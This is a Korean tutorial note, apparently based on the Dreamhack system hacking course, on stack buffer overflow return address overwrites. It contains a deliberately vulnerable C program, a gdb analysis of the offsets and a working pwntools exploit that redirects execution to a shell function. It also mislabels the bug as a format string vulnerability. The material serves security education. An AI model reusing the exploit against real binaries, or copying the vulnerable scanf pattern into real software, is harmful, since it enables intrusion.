scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며,
공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.
이러한 특징으로 인해, 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다.
따라서 scanf에 %s포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.
위험한 함수 | 안전한 함수 |
scanf, strcpy, strcat, sprintf | strncpy, strncat, snprintf, fgets, memcpy |
아래는 포멧 스트링 취약점이 존재하는 코드다.
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
컴파일한 후, 해당 파일을 실행한다.
"A"를 64개 입력하면 세그멘테이션 오류(잘못된 메모리 주소에 접근함) 에러가 출력된다.
(코어 덤프됨)은는 코어파일(core)을 생성했다는 것으로, 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.
gdb를 사용해서 코어 파일을 분석해보자.
main 함수에서 반환하려고 할때, 스택 최상단에 저장된 값이 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다.
이는 실행가능한 메모리의 주소가 아니므로 세그멘테이션 오류가 발생한 것이다.
만약 원하는 코드 주소가 되도록 입력을 넣으면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있다.
gdb로 rao 파일을 분석해보자.
scanf()에 인자를 전달하는 부분을 보면, 오버플로우를 발생시킬 버퍼가 rbp-0x30에 위치하는 것을 알 수 있다.
스택 프레임의 구조는 다음과 같다.
rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.
입력할 버퍼와 반환 주소 사이에 0x38 만큼의 거리가 있으므로, 그 만큼을 쓰레기 값(dummy data)으로 채우고,
실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.
gdb로 get_shell() 함수의 주소를 확인한다. → 0x4011dd
그러면 다음과 같은 페이로드(공격을 위해 프로그램에 전달하는 데이터)를 구성할 수 있다.
익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다.
리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 사용하고 있으므로 get_shell()의 주소 0x4011dd를
\xdd\x11\x40\x00\x00\x00\x00\x00로 전달해야 한다.
파이썬으로 exploit 코드를 작성하고
from pwn import *
p = process('./rao')
payload = b"A"*0x30 #buf
payload += b"B"*0x8 #SFP
payload += b"\xdd\x11\x40\x00\x00\x00\x00\x00" #return address
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
exploit 파일을 실행시키면, 쉘을 얻게 된다.
참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking